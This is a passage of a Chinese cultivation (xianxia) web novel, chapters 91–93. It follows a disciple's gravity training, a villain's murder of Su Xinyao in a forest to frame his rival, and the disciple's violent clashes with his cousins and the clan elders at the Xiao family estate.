他闷哼一声,拼尽了全身力气才让自己没有失态地跪倒,只是身体控制不住地微微颤抖,声音都带了颤音:“师、师尊…这,这是怎么回事?为什么我的身体…会这么重?” 云见月看着他,目光平静中带着鼓励:“这是你虞叔叔绘制的重力符文,可在你身上增加一倍重力。” “你此前进境太快,根基不牢,这重力符文,便是帮你夯实基础的。” 萧星尘眼中闪过一丝明悟,他咬紧牙关,开始尝试在一倍重力下做出淬体术第一重第一个早已熟练的动作。 然而,原本轻松无比的动作变得异常艰难。 抬手如举鼎,迈步似趟泥。 每一个细微的调整都需要耗费巨大的力气和意志。 仅仅片刻,他便已汗如雨下,呼吸粗重,衣衫迅速被汗水浸透。 云见月在一旁静静看着,没有出言指导,只是让他亲身去体会这极致的压力,去感受力量在重压下的流转与滞涩。 当萧星尘一次次失败,手臂因脱力而颤抖,几乎要坚持不下去时,云见月才出声提醒: “不要用蛮力去对抗重力。去感受它,引导它,适应它。想象你体内的星辰之力并非被压垮,而是在这巨大的压力下,被不断锤炼、提纯,变得愈发凝实、坚韧。” 萧星尘依言闭眼,放缓呼吸。 他的动作依旧缓慢得如同龟爬,却不再是徒劳的挣扎,而是变成了一种极慢却极有控制、充满力量的锤炼。 夜色渐深。 萧星尘终于能在一倍重力下完整做出淬体术第一重的第一个动作了。 他惊喜地发现,体内的星辰之力比以往凝实了许多,连感知星辰之力的速度都快了半分。 从这一天起,萧星尘彻底沉浸在“负重修炼”中。 除了必要的吃饭和短暂睡眠,他几乎一刻不停地与身上的重力磨合。 七天后,他完全适应了一倍重力,动作恢复流畅。 云见月见差不多了,便让虞青焰将重力增加至两倍。 又经过了七天的锤炼,当萧星尘征服了两倍重力,随后是三倍、四倍…… 他不再急着修炼第二重,而是在不断增加的重力下,一遍又一遍打磨第一重的每一个动作。 他的根基,便在这近乎残酷的重复和不断增强的重压下,被打磨得坚不可摧,浑厚无比。 转眼一个月过去,萧星尘身上的重力已增至五倍。 行动间却已隐约恢复了几分举重若轻的态势。 这日早饭,云见月发现他捧着肉包子,却半天没咬一口,眼神时不时飘向自己,显然有心事。 以往萧星尘情绪不对,云见月总会第一时间询问。 可这次她没有。 过往数月,她对萧星尘的教导可谓倾注心血,事事关心。 他经历过家族背叛、生死之战,当学会主动倾诉,而不是总依赖她的洞察。 她不只是他一个人的师尊,总会有注意不到的时候。 一顿饭在略显沉默的气氛中结束。 见萧星尘仍未开口,云见月眼神暗了暗,还是不准备说吗? 她收起碗筷,作势欲起。 “师尊!”萧星尘见状,急忙唤道,眼中带着急切。 云见月转身,故作疑惑:“怎么了?” 萧星尘攥紧衣角,声音带着几分忐忑,“师尊,明日…我想回一趟萧家。” “为何突然想回去?” 萧星尘抿了抿唇,低声道:“昨晚,我爷爷给我传讯了…明日,是我爹娘的忌日。所以……” 他抬起头,目光带着恳求,“师尊,我想回去祭拜。” 上一次爷爷寿宴,他实力低微,选择听从师尊的话,避而不回。 但此次是父母忌日,身为人子,若不回去祭拜,当真就是忤逆不孝了。 云见月看着他眼中那份深藏的哀思,没有丝毫犹豫,“为师同意。” 萧星尘一愣,似乎没想到师尊会答应得如此干脆:“师尊…您不阻止我?不怕萧家人……” “祭奠父母是天经地义之事,为师不会阻止。曾经的你,没有自保的能力,为师不忍你受不必要的羞辱。而今,你学有所成,也是时候告慰你父母的在天之灵了。” “师尊……”萧星尘眼中泛起水光,重重点头。 “好啦,”云见月笑着递过干净的布巾,“碗筷交给你收拾,为师去看看仙儿他们在秘境的进展。 安排好了萧星尘,云见月心念一动,身影便已出现在灵墟秘境之中。 秘境里没有太大变化,依旧灵气化雾,灵草遍布。 但孩子们却发生了天翻地覆的变化。 自上次深度入定苏醒后,他们的修为便迎来了井喷式的增长。 鹿闻声一举突破到筑基后期,周身灵气充盈。 郁仙和江迷雾亦双双踏入筑基中期,气息沉稳凝练。 就连年纪最小,修为最低的苏渺渺,也成功筑基,正式迈入了修仙门槛。 四个小家伙一醒来,尚未来得及体会自身变化,云见月的身影便已出现在他们面前。 她逐一夸赞了他们后,便引他们到那汪氤氲着浓郁灵气的灵泉边。 “这处灵泉可以洗精伐髓,你们进去浸泡,将会大有益处。” 孩子们依言踏入灵泉,精纯温和的泉水包裹全身,疲惫感迅速消退。 更令人惊奇的是,他们的身体竟然开始慢慢排出污垢,那是深藏于体内的杂质。 过程略显不适,但当污垢排尽,一种前所未有的轻盈与通透感席卷而来。 他们的身体变得莹润无瑕,宛若无垢之体,体内经脉更是被拓宽了数成,能容纳和运转的灵力远超从前。 泡在灵泉中的四个小家伙,只觉浑身舒畅,仿佛每一寸肌肤都在贪婪地吸收着灵气。 无需云见月多言,四个小家伙几乎是迫不及待地再次沉入心神,开始了新一轮的入定修炼。 云见月静立一旁,心中已有盘算:闭门造车,终究难成大道,真正的成长,离不开血与火的淬炼。 “待星辰事了,也是时候带你们出去历练了。” 翌日。 云见月和虞青焰一同陪着萧星尘前往萧家。 而与此同时,安分了一个月的楚凌风,也终于有了动作。 他给苏心瑶传讯,要求两人单独在迷雾之森见面。 苏心瑶收到传讯,内心充满了挣扎与纠结。 自坊市目睹楚凌风那般不堪的面目后,这一个月来她无时无刻不在天人交战。 情感上,十余年的倾慕,付出了那么多的感情,一时让她难以割舍。 理性上,却又不断提醒她,楚凌风的真面目或许并非她想象的那般。 整整纠结了一个月,苏心瑶终于下定决心,再给楚凌风一次机会。 可能那一次,多半是因为云见月惹怒了凌风哥哥,凌风哥哥才一怒之下说了那么不堪的话。 对!一定是这样的。 云见月那个死女人,嘴巴毒的很,她都受不了,更何况是曾经被云见月退婚的凌风哥哥。 抱着这般自我安慰的想法,她并未深思为何楚凌风非要选在迷雾之森这等偏僻的森林里见面。 迷雾之森,古木参天。 阳光透过层层叠叠的树叶,在地上投下斑驳的光斑。 林中,只有鸟兽偶尔的啼叫和风吹树叶的沙沙声。 苏心瑶环顾四周,疑惑道:“凌风哥哥,你怎么约我到这么偏僻的地方?是有什么要紧事吗?” 楚凌风转过身,脸上是她熟悉的温柔笑意。 然而,不知为何,那笑容此刻却让苏心瑶感到一丝莫名的不适。 “瑶瑶。”他声音柔和,“你我相识多年,我的心意,你应当是明白的,这世间,我也只能信你一个人了。” 他先是温言软语,回忆往昔,巧妙地拨动着苏心瑶心中残存的情愫。 然而,话锋悄然一转,便引入了正题。 他脸上的温柔渐渐被阴鸷取代,声音也沉了下来:“瑶瑶,上次坊市之事,你也看到了。云见月那贱人何其嚣张,她让我师徒二人颜面尽失,此仇不报,我楚凌风何以在修仙界立足?!” “她如今羽翼未丰便已如此猖狂,若待她成长起来,必将成为你我的心腹大患,届时,你天元宗只怕也要看她脸色。” 他上前一步,握住苏心瑶的手,语气带上了一丝蛊惑与急切:“瑶瑶,你不是一直最喜欢我吗?帮我这一次,只要你回去说服你爹,集合天元宗之力,助我铲除云见月这个祸害,我保证,事成之后,我便与你结为道侣,好不好?” 苏心瑶听着这些话,只觉得一股寒意从脚底直窜头顶,先前那点残存的幻想被击得粉碎。 她难以置信地看着眼前这个男人,他竟想利用她对他的感情,将整个天元宗拖入他的私仇之中。 她的确讨厌云见月,但还不至于上升到要动用宗门之力不死不休。 楚凌风的言论和做法,她无法认同。 更何况,她对他的感情,居然成了他用来道德绑架她的筹码? 何其无耻!!! 她猛地甩开他的手,后退一步,眼中最后一丝情意彻底熄灭,取而代之的是清醒后的冰冷与厌恶。 她挺直脊背,虽骄纵却在此刻显露出一宗少主应有的气度与决断。 “楚凌风。”第一次,她如此直呼其名。 “我苏心瑶,是天元宗宗主之女。自出生起,便享受宗门供养,受万般宠爱。宗门予我资源,予我尊荣,我的命,便不只是我自己的,更是与天元宗休戚与共。” “宗门培养我,是望我不堕宗门威名,而非让我为一己私情,将整个宗门拖入无谓的纷争,沦为他人手中刀。” “我或许资质并非绝世,或许性子不够沉稳,但大是大非面前,我苏心瑶绝不会犯糊涂,我做不到光耀门楣,也绝不做那损毁宗门基业的罪人。” 她目光锐利地看着他,字句清晰:“你与云见月的恩怨,是你们之间的事。你要报仇,可凭自身本事,我绝不阻拦。但你想借我之手,裹挟天元宗为你寻仇,绝无可能!” “往日种种,皆是我年少无知。今日看清你的真面目,往日情分就此断绝,以后你我形同陌路。” 楚凌风脸上的假笑彻底碎裂,眼底翻涌起压抑不住的怒火与阴沉。 “瑶瑶,你现在改变主意还来得及。否则,就别怪我无情了!” “哼!”苏心瑶厉声道,“我绝对不会为了你背弃生我养我的宗门。” “好!好!好!”楚凌风连道三声好,发出一阵令人毛骨悚然的低沉冷笑,“呵呵呵……果然,女人皆是如此善变无情之物!” 苏心瑶皱眉,心中警铃大作:“你笑什么?” “我笑你天真愚蠢!”楚凌风止住笑,眼神变得残忍而玩味,“你猜,我为何偏偏要将你约至这人迹罕至的森林深处?” 苏心瑶心头猛地一沉,不祥的预感缠上她。 下一秒,楚凌风的话便印证了她的恐惧。 “我早已料到你不会乖乖就范,你们这等女子,向来如此,求之不得时百般讨好,一旦得到,便翻脸无情,你与那云见月一样,都是自私自利、不识抬举的贱人!” 他脸上浮现出狰狞的快意:“既然你不肯心甘情愿地去说服你爹,那我只好换个法子……” “杀了你,再将你的死,栽赃到云见月身上,届时,丧女之痛下,苏宗主必定倾全宗之力追杀云见月,不死不休,哈哈哈——我想要的结果,还不是一样能达到?” 第91章 楚凌风杀了苏心瑶,萧星尘回到了萧家 楚凌风先是一剑刺穿了苏心瑶的丹田,随后又是一剑穿透她的心脏。 温热的鲜血喷溅出来,染红了她粉霞色的衣裙。 苏心瑶眼中的光芒以肉眼可见的速度黯淡下去。 震惊、痛苦、难以置信的情绪在瞳孔中交织,最终化为一片死寂的绝望。 她张了张嘴,却只发出嗬嗬的血沫声,身体无力的栽倒在腐叶堆中。 视野所及,只剩一片刺目的血红,映衬着楚凌风那张写满快意与狰狞的脸。 "给脸不要脸的贱人,这都是你自找的。"楚凌风一脚踩在苏心瑶颤抖的手腕上,居高临下的眼神充满了鄙夷。 他粗暴地一把扯下苏心瑶腰间的储物袋,强大神识蛮横地抹去上面的神识印记,从中翻出一枚刻着天元宗徽记的传讯玉简。 指尖沾着苏心瑶的鲜血按在玉简上,注入灵力传讯:【爹,云见月要杀我,您一定要为我报仇——】 传讯完毕,楚凌风狞笑着将玉简捏得粉碎。 为确保毁尸灭迹,他抬手催动火系灵力,炽热的烈焰瞬间升腾而起,吞没了苏心瑶与周围的灌木。 冲天火光映照着楚凌风扭曲的面孔,狂笑声在林间回荡:"哈哈哈——云见月,你就等着承受天元宗的滔天怒火吧!" 狂笑声中,他化身一道流光,消失在熊熊火海之外。 烈焰吞噬着一切,苏心瑶倒在血泊中。 恍惚中,她似乎看见一道高挑的青衣身影从天而降,衣袂上绣着熟悉的蛇纹图案。 她用尽最后的力气,向着那片模糊的、象征着希望的青色,颤抖地伸出手去,渴望能抓住一丝虚无缥缈的生机。 然而指尖尚未触到对方衣摆,便无力地垂落下去,眸中的光芒彻底熄灭,只留下眼角未干的血泪在火光中凝固。 …… 玄铁铸就的萧家大门敞开着,门楣上悬挂的"萧家"匾额在阳光下熠熠生辉。 门前两尊巨大的灵石麒麟兽彰显着百年世家的深厚底蕴与无上荣光。 这座占地千亩的府邸亭台楼阁鳞次栉比,九曲回廊连接着碧波荡漾的莲池,假山奇石间灵气氤氲。 萧家自萧星尘的父亲时开始崛起,即便在其父身死道消后的多年,萧家再未出过那般惊才绝艳的人物,但凭借其父与第一大宗门太一仙宗拼死诛魔留下的余荫与功绩,萧家依然稳居修真界四大家族之首,受八方敬重。 然而,萧星尘这个大房嫡子的到来,并未引起任何人的重视。 敞开的大门前只有几名侍卫懒散地倚靠在门边,目光扫过萧星尘时,带着毫不掩饰的冷淡与若有若无的讥讽。 这三年来,他如同被丢弃的棋子,从未有人前往玄天宗看望过他,仿佛他的存在本身就是家族的耻辱。 萧星尘站在门前,眼前这座金碧辉煌、象征着无上荣耀的府邸,此刻在他眼中,却仿佛一头张开血盆大口的巨兽,让他心底生出莫名的恐惧。 一股抵触自心底滋生,他几乎想要转身逃离,不愿面对那些冰冷的眼神和刻薄的言语。 但今日,是爹娘的忌日。 他不能不回。 “星辰,进去吧。”云见月的声音在身后响起。 萧星尘攥紧拳头,指节泛白:"师尊,您不陪我一起进去吗?" 他的眼中带着一丝不易察觉的祈求。 "这是你的家,你迟早要面对。"云见月的回答温和却坚定。 萧星尘眸中的光暗了几分,“徒儿......知道了。” 他挺直了尚显单薄的脊背,迈步踏入了那扇既熟悉又陌生的大门。 云见月与虞青焰的身影悄然隐没在暗处。 虞青焰折扇轻敲掌心,语气带着几分玩味:“你真就放心让他一只小羊羔独自进这狼窝?不怕那群势利眼的人把他生吞活剥了?” 云见月凝视着萧星尘略显僵硬的背影,眼底划过一丝疼惜。 “我是他的师尊,恨不得将他永远护在羽翼之下,为他挡尽世间一切风雨。” “但他体内流淌着萧家的血,这层血脉牵绊是刻在骨血里的孽缘,必须由他亲自斩断,旁人无法代劳。” “唯有让他亲身去经历那份冰冷的失望,去感受彻骨的炎凉,他才能真正死心,从‘萧家子弟’这个身份的桎梏中彻底解脱出来。” “此刻的心痛,是为了换来他日后道心的通达,让他切身感受人情冷暖世态炎凉,让他体验祠堂里的牌位终究抵不过族老们的私心,这些道理,他必须自己悟透。” 这便是:人教人百次无用,事教人一次入心。 她能说的都说了,这一次,轮到事教他了。 …… 萧星尘走在通往正厅的青石甬道上,两侧洒扫的下人纷纷停下手中的活计,毫不避讳的窃窃私语与明目张胆的嘲讽。 "瞧,那不是被丢到玄天宗的小废物吗?居然还有脸回来?" "可不是嘛,三年了都没半点长进,估计在玄天宗也是个不招人待见的。" “啧,真是丢尽了家主和已故大爷的脸。” "嘘...小声点,毕竟是大爷的儿子..." "那又怎样?这更能证明他是个不折不扣的废物,听说了吗?萧凡少爷前段时间筑基了,萧凡少爷才十岁,这也太厉害了,我觉得萧凡少爷的资质一点都不输当年的大爷。” “是呀是呀,就萧星尘这样的废物,萧凡少爷一个能打十个。" 这些话语如同冰冷的针,狠狠刺向萧星尘。 以前的他无法承受,如今的他视若无睹,径直往前走。 然而还未走到正厅,去路便被三人拦下。 为首的正是萧凡,他两侧站着一对十五岁左右的龙凤胎,姐姐萧萱儿柳眉微蹙,弟弟萧景一脸倨傲。 萧景上下打量着萧星尘,满脸不屑:"这是哪里来的臭要饭的?我萧家可是四大家族之首,可不是什么阿猫阿狗都能进来的,来人,把这个臭乞丐丢出去!" 萧凡抱臂站在一旁,眼底闪烁着看好戏的恶意。 萧星尘抬眸,目光淡漠地看向萧景。 “才三年不见,二堂兄就不认识我了?年纪轻轻记性就这么差,是该找个医修来看看脑子了。” 他语气平缓,却字字如刀。 “不过,二堂兄这张嘴倒是‘出口成脏’,骂起人来顺溜得很。看来,我不在家的这三年,三叔和三婶对你疏于管教了。” 萧景和萧萱儿万万没想到,这个印象中沉默寡言、任人拿捏的小废物,竟变得如此牙尖嘴利。 萧景气得脸色涨红如猪肝。 不等他发作,萧星尘抬手轻轻拂过自己的玄色劲装,语气依旧淡淡的:“二堂兄不仅脑子不好,眼神也不太好。我身上这件法衣,乃是我师尊花费一千下品灵石,在云织坊购置的上品法衣。而你身上这件……” 他目光扫过萧景身上的衣服,轻轻摇头,“不过是件价值不足百块下品灵石的下品货色。你是怎么好意思说我是乞丐的?我若是乞丐,你岂不是连乞丐都不如?” “小贱种,你敢羞辱我?!”萧景彻底被萧星尘那云淡风轻却极具羞辱意味的态度激怒了。 “哦?”萧星尘挑眉,“你可别忘了我们身体里流着同样的血,我是贱种,你岂不也是贱种?照此推论,你的爹娘,岂不更是……” “放肆!”萧萱儿实在听不下去,尖声怒喝打断,“萧星尘,你这废物还有脸回来?” “原来你们认识我啊。”萧星尘故作惊讶,“既然认识,还一口一个臭乞丐,一口一个贱种、废物,我当真要怀疑,这些年三叔三婶到底是如何教导你们的,竟将你们教得如此不堪,丢尽萧家的颜面。” “你……”萧萱儿气得浑身发抖,咬牙切齿,“真是牙尖嘴利,看来是攀上了什么不入流的高枝,就忘了自己几斤几两,回到萧家也敢不将堂兄堂姐放在眼里了!” 这一刻,萧星尘心中残存的紧张与畏惧忽然烟消云散了。 他想起了师尊的谆谆教诲。 “他们嘲笑你,打压你,并非因为你做错了什么,仅仅是因为他们能,并且想这么做。” “为师希望你心念和行动,首先要对得起自己。” “为师愿你:俯仰无愧天地,行止无愧于心。” 那夜的话语,此刻无比清晰地回响在耳边。 他已不再是那个只能默默承受屈辱的弱者。 既然拥有了反抗的力量,那便无需再隐忍退让。 曾经的羞辱,在他敢于昂首反击的这一刻,仿佛被阳光穿透的阴霾,心中只剩一片豁然开朗的神清气爽。 “小贱种,我今天非撕烂你这张臭嘴不可。”萧景忍无可忍,彻底爆发。 他已是炼气十层修为,一眼便看穿萧星尘周身灵气波动微弱,仍是三年前那个炼气三层的废物。 一股积压多年的怨毒瞬间涌上心头。 他不是嫡长孙,但在众多嫡孙中也排行第二。 爷爷曾把振兴家族的希望寄托在萧星尘身上,后来发现萧星尘是个没用的废物,又将希望寄托在萧凡身上,唯独忽略了同样是嫡子嫡孙的他。 这些年资源全倾斜给萧凡,他早已嫉妒得发疯,可他不敢对萧凡有怨言,只能拿萧星尘这个废物出气。 “没用的废物,你爹娘死得早,没人教你规矩,我作为堂兄,今日就代他们好好管教管教你这不孝子。”萧景口不择言地嘶吼着祭出长剑,剑刃直指萧星尘心口,招招狠戾,毫无亲情可言。 当“爹娘死得早”这几个字传入耳中时,萧星尘眼底最后一丝温度彻底消失了。 龙有逆鳞,触之必怒。 萧景,犯了他的大忌! 凌厉剑锋劈斩而下,却只见萧星尘的身影如同鬼魅般,自原地消失。 萧景一剑劈空,不由得一愣:“人呢?” 萧萱儿在一旁看得分明,惊恐地瞪大了眼睛,声音发颤:“景、景儿,他…他在你身后!” 第92章 炼气三层的萧星尘,狂虐筑基期的萧凡 萧景浑身一僵,难以置信地猛然回头。 果然,萧星尘正静静地站在他身后,背对着他,仿佛早已在那里等候多时。 惊愕过后是更大的愤怒。 萧景狂吼着转身,手中长剑疾刺而出。 然而,萧星尘的身影再次如同轻烟般消散。 “在哪?在哪?”萧景急切的左顾右盼。 “在你身后!”萧萱儿尖叫道。 萧景瞳孔骤然紧缩。 怎么可能? 萧星尘不过是炼气三层,他的速度怎么可能这么快? 萧景猛地回身,长剑再次刺出,却又一次落空。 萧星尘的身影如同鬼魅般在他四周闪现,速度快到只能捕捉到一道道残影。 他拼命地砍、刺、劈,却连对方的衣角都碰不到,每一次攻击都落空,只留下徒劳的风声。 周围的下人们看得目瞪口呆,炼气十层的萧景,竟然被炼气三层的萧星尘戏耍得团团转? "我给了你六次机会。"萧星尘的声音突然出现在萧景正前方,小少年负手而立,云淡风轻,"六次,你连我的衣角都没碰到,你可真是个......废物。" “废物”两个字如同一记耳光狠狠扇在萧景脸上。 被一个不如自己的人说成废物,萧景无法接受这个事实。 他已是炼气十层,比对方高了整整七个小境界,怎么可能伤不到对方分毫? 假的! 一定是假的! 他不相信!!! 周围围观的下人和旁系子弟早已目瞪口呆。 这真的是那个他们印象中的废物萧星尘吗? 萧星尘姿态从容,轻轻拍了拍并无灰尘的衣袖。 “热身结束,接下来,就由我这个做弟弟的,来教教你,什么叫做真正的攻击。” 话音落下,他的身影骤然模糊。 众人只觉眼前一花,一道快如闪电的残影掠过。 下一秒,萧星尘已如鬼魅般出现在萧景面前,身形半俯,一记简单直接却蕴含着恐怖力量的拳头,狠狠地砸在了萧景的腹部。 萧景甚至连格挡的反应都做不出,双眼猛地暴突,脸色瞬间由红转为青紫,整个人倒飞出去数米,重重砸落在地,蜷缩成虾米状,彻底失去了所有反抗能力。 全场哗然! 死一般的寂静被打破,取而代之的是无法置信的惊呼与倒抽冷气的声音。 “一、一拳?!” “炼气十层的景少爷……被炼气三层的……一拳打败了?” “我是不是眼花了?” “这怎么可能?他到底是怎么做到的?” 萧星尘连一个多余的眼神都未曾施舍给地上痛苦呻吟的萧景,面无表情地从他身上迈了过去。 这一举动,再次让所有人震惊得说不出话来。 狂! 实在是太狂了。 “萧星尘,你敢伤我弟弟。”萧萱儿从巨大的震惊中回过神,看到弟弟的惨状,瞬间双目赤红,尖叫着拦在前面。 她手中猛地多出一条长鞭,“我抽死你这个心狠手辣的小贱种。” 长鞭带着破风之声抽向萧星尘。 萧星尘竟不闪不避,任由鞭子一下下抽在身上。 "啪!啪!"的鞭响在庭院里回荡,一连抽了十下,萧星尘身上却连道痕迹都没有留下。 “这……这怎么可能?” “萱儿小姐的鞭子可是极品法器,居然不能伤到他?” “他……他的身体是铁打的吗?!” “怪物!他是个怪物!” 如今的萧星尘,早已习惯在五倍重力下修炼活动,肉身强度远超同阶,岂是这等程度的攻击所能伤到的? "知道为什么我不还手吗?"萧星尘的声音平静无波,看向满脸惊骇的萧萱儿。 “不是因为我还顾念着和你那点可怜的血缘亲情。” “而是,我要让你亲眼看看,你连你口中没用的废物都比不上。” “你说,你是不是更废物?” “啊,不对,你连废物都不如,那你就是个垃圾。”他神色平静,但言语极尽羞辱。 萧萱儿气得浑身发抖,再次挥鞭抽来。 “小贱种,我杀了你——” 这一次,萧星尘猛地抬手,五指如铁钳般攥住了鞭梢。 任凭萧萱儿如何催动灵力挣扎,那鞭子在他手中如同焊死了一般,纹丝不动。 萧星尘手腕轻轻一抖,一股无可抗拒的大力传来,长鞭瞬间易主。 紧接着,他毫不迟疑地扬手—— “啪!” 一声清脆又狠戾的鞭响,长鞭狠狠抽打在萧萱儿娇嫩的脸上。 “啊——”萧萱儿发出一声凄厉的惨叫,猛地捂住脸颊跌倒在地。 指缝间,一道深可见骨的血痕狰狞浮现,鲜血登时涌出,染红了她半张脸。 “我的脸!我的脸!”她歇斯底里地哭嚎起来。 周围的人彻底惊呆了,看向萧星尘的眼神充满了恐惧与难以置信。 这个曾经的废物,何时变得如此强悍? 萧星尘垂眸,冷漠地看着地上翻滚惨叫的姐弟二人。 “废物,就多练。” 萧萱儿猛地抬起头,一双盈满泪水与怨毒的眸子死死瞪向他,声音因痛苦和愤怒而扭曲:“萧星尘,你敢毁我的容,敢伤我和景儿,我爹娘绝不会放过你,爷爷也绝不会饶了你。” 萧星尘闻言,嘴角竟勾起一抹极淡的、近乎怜悯的弧度。 “除了哭喊着找长辈告状,你也就只剩下这点能耐了。” “你……”萧萱儿气得几乎晕厥。 萧家门外,隐在暗处的云见月和虞青焰,早已将方才发生的一切尽收眼(神识)底。 云见月唇角微微扬起,露出一丝欣慰而骄傲的笑容。 "修真界强者为尊,唯有拳头才是硬道理。" 她的神识愉悦地感受着院内少年那意气风发、不再隐忍的身影。 而她身旁,虞青焰一双漂亮至极的桃花眼,却没有看向院中,而是含着温柔而深邃的笑意,久久地落在云见月含笑的侧脸上。 “好看吗?” “好看。”云见月下意识点头。 虞青焰眼底的笑意更浓。 “是呀,真好看。”这张清冷出尘的脸,初见不觉得,而今越来越赏心悦目了。 ...... 庭院内,萧星尘一心只想给父母祭拜,祭拜完就离开。 可是,他不想招惹是非,总有人不想轻易放过他。 一道凌厉无匹的剑气骤然自身后袭来,擦着他的耳际掠过,“轰”的一声将坚硬的青石地面劈出一道深不见底的沟壑。 萧凡筑基初期的灵力波动在他周身流转,实力远比一个月前更为凝实强悍。 他执剑指着萧星尘,“萧星尘,你伤堂兄堂姐,简直大逆不道,今日我便替家族清理门户,教教你什么叫规矩。” 萧星尘缓缓转身,冷笑一声:“就凭你?一个月前在坊市受到的教训,这么快就忘了?” “上一次是我大意,让你这废物侥幸得逞!”萧凡声音冰寒,带着属于筑基修士的绝对自信,“今日,我便让你彻底认清现实,废物永远是废物,筑基期与炼气期之间的差距,是你穷尽一生也无法逾越的鸿沟。” 他自信满满,坚信突破到筑基期的自己,必能一雪前耻。 萧萱儿捂着脸从地上爬起,眼中闪烁着疯狂的期待:"凡儿,快杀了这个废物!" 萧星尘语气平淡无波:“筑基期?看来这一个月,你倒也下了些苦功。” “废话少说,受死吧!”萧凡怒吼一声,手中青锋剑骤然爆发出刺目光芒,剑气交织成一张细密而危险的银色剑网,瞬间将萧星尘所有退路尽数封锁。 面对这足以让寻常炼气修士瞬间毙命的攻击,萧星尘却眸色沉静,甚至未曾移动脚步,只是静静地站在那密集的剑网中心。 “锵锵锵锵——” 无数道凌厉剑气结结实实地斩在他的身上,不见残肢断臂齐飞,更不见他血溅当场。 却见萧星尘完好无损的任由剑气在自己身上劈砍。 《九转星辰淬体术》加持下的肉身,强悍如斯! 直到这一刻,萧星尘才深切体会到师尊的良苦用心。 那日复一日在数倍重力下的枯燥锤炼,那千万次重复的第一重基础动作,所打下的根基竟如此恐怖。 极致的防御,源于极致的基础。 “怎么可能?”萧凡脸上的狞笑瞬间凝固,化为惊骇和难以置信。 不仅是他,周围所有围观的下人、子弟,全都如同被掐住脖子的鸭子,眼睛瞪得滚圆,嘴巴张得能塞进鸡蛋。 眼前这一幕,彻底颠覆了他们毕生的认知。 一个筑基初期修士的全力剑气,竟无法破开一个炼气三层修士的肉身防御?这简直是天方夜谭。 萧星尘从容地从那尚未消散的剑网残影中一步步走出来。 语气平静得仿佛在讨论天气,“有进步,但不多。” 这句轻描淡写的点评,彻底点燃了萧凡的怒火,他疯狂催动灵力,剑招如狂风骤雨,歇斯底里地攻向萧星尘。 “我杀了你!!!” 这一次,萧星尘动了。 他的身影如同鬼魅般,在原地留下一道淡淡的残影,真身已瞬移到萧凡身后。 声音在萧凡耳边炸响,“知道为什么你的修为远高于我,却连我的衣角都碰不到吗?” 萧凡全身汗毛倒竖,瞳孔骤然缩成针尖。 他骇然欲绝地猛然转身。 “因为,”萧星尘一字一句,清晰地吐出云见月曾教导他的至理,“天下武功,唯快不破。” “你的剑,太慢了。” 话音未落,一记裹挟着五倍重力锤炼出的重拳,狠狠砸在萧凡的心口。 骨骼碎裂声混着鲜血喷溅,堂堂筑基初期修士,就这么被炼气三层的一拳打飞。 青锋剑脱手飞出,在地面拖出长长的血痕。 整个庭院,瞬间陷入一片死寂。 所有人都被这绝对的碾压吓得魂飞魄散,呆若木鸡。 萧星尘踱步上前,弯腰捡起地上那柄属于萧凡的青锋剑。 冰冷的剑身在阳光下反射出刺目的寒光,映照着他毫无波澜的眼眸。 他一步步走向在地上痛苦挣扎、呕着血沫、眼中终于被无边恐惧取代的萧凡。 “上次在坊市,我饶你一命,是希望你知错能改。” “看来,还是我太高估你的品性了。” “罢了。”他手腕微转,剑锋扬起,“既然你如此不长记性,那便给你留下点深刻的记号,让你此生都牢牢记住。” 他手中的剑尖,带着令人心悸的寒芒,缓缓从萧凡的头颅、脖颈、心口一一划过,最终,稳稳地停在了萧凡丹田气海的位置。 “有些人,不是你这种货色,能惹得起的。” 萧凡吓得浑身剧烈颤抖,涕泪横流,发出了绝望的尖叫:“爷爷救我——” 第93章 谁的拳头硬,谁的话就是真理 “孽障!还不住手!” 就在剑尖即将刺下的前一瞬,一声如同炸雷般的怒斥猛地从正厅方向轰然传来。 紧接着,一股属于筑基后期巅峰的威压,骤然降临,精准无比地狠狠砸在萧星尘身上。 萧星尘只觉身上猛地一沉,仿佛又回到了最初承受那一倍重力时的艰难。 但他咬紧牙关,额角青筋暴起,凭借着被《九转星辰淬体术》淬炼出的强横体魄和远超常人的坚韧意志,硬生生抗住了这股足以压垮寻常修士的威压。 他的膝盖未曾弯曲一分,依旧如同标枪般顽强地挺立在原地,只是那握着剑、欲要刺下的手臂,因巨大的压力而微微颤抖。 正厅大门轰然打开。 凌乱的脚步声响起,一群人面色阴沉地从大厅内鱼贯而出。 为首的,正是手持龙头拐杖的萧老爷子。 他的身侧,紧跟着萧星尘的二叔二婶,三叔三婶,以及数位须发皆白、脸色愠怒的萧家族老。 这十多人一出现,目光便齐刷刷地锁定在持剑而立的萧星尘身上。 无一例外,他们的眼中充满了愤怒、指责、厌恶与冰冷的漠然,仿佛萧星尘才是那个十恶不赦、挑起事端的罪魁祸首。 “萧星尘,你放肆!”萧老三率先尖叫起来,“一回来就发疯,打伤堂兄和堂姐,还要对凡儿下毒手,你这个心肠歹毒六亲不认的小畜生。” 萧三婶看着女儿脸上的血痕和儿子萎靡在地的模样,顿时拍着大腿哭天抢地起来:“我的萱儿啊,还有我的景儿,萧星尘,他们可是你的血脉至亲,平日里那般爱重你,你怎么能下如此狠手啊,你的心是石头做的吗?” 萧二婶也冷着脸,阴阳怪气地帮腔:“真是反了天了,在外面不知学了些什么歪门邪道,回来就逞凶斗狠,残害手足,你眼里还有没有萧家的家规?还有没有长辈?” 萧老二脸色阴沉得能滴出水来,呵斥:“孽障!你爹娘要是还在世,看到你这般忤逆狠毒,只怕要气得从棺材里跳出来,我萧家诗礼传家,怎么就养出了你这么个狼心狗肺的东西。” 一位族老重重一杵拐杖,根本不问半句前因后果,便直接盖棺定论,厉声喝道:“萧星尘,你无视家规,残害同族,手段凶残,性情暴戾,罪大恶极,立刻放下兵器,跪下认罪!否则,休怪老夫执行家法,将你这祸害就地正法,以儆效尤!” 另一位族老更是吹胡子瞪眼,“凡儿乃是我萧家未来的希望,家族倾注了多少心血,你竟敢欲毁他道基?你这废物是要断送我萧家的未来吗?还不立刻跪下认罪,更待何时!” 其余族老也纷纷面露怒容,出声附和,言语间极尽偏袒与压迫,滔天的威压如同重重海浪般持续压向萧星尘。 萧星尘孤身一人,持剑立于庭院中央,承受着来自整个家族最高层的汹涌恶意与灵压风暴。 他看着那一张张或愤怒扭曲、或冷漠鄙夷、或幸灾乐祸的“亲人”的面孔,看着地上虽然受伤但眼中因靠山到来而重新流露出得意与怨毒的萧凡、萧景、萧萱儿…… 一股冰寒彻骨的冷意,比那筑基后期的威压更沉重百倍,瞬间席卷了他的四肢百骸,冻彻了他的心扉,让他几乎无法呼吸。 原来,这就是他血脉相连的家族。 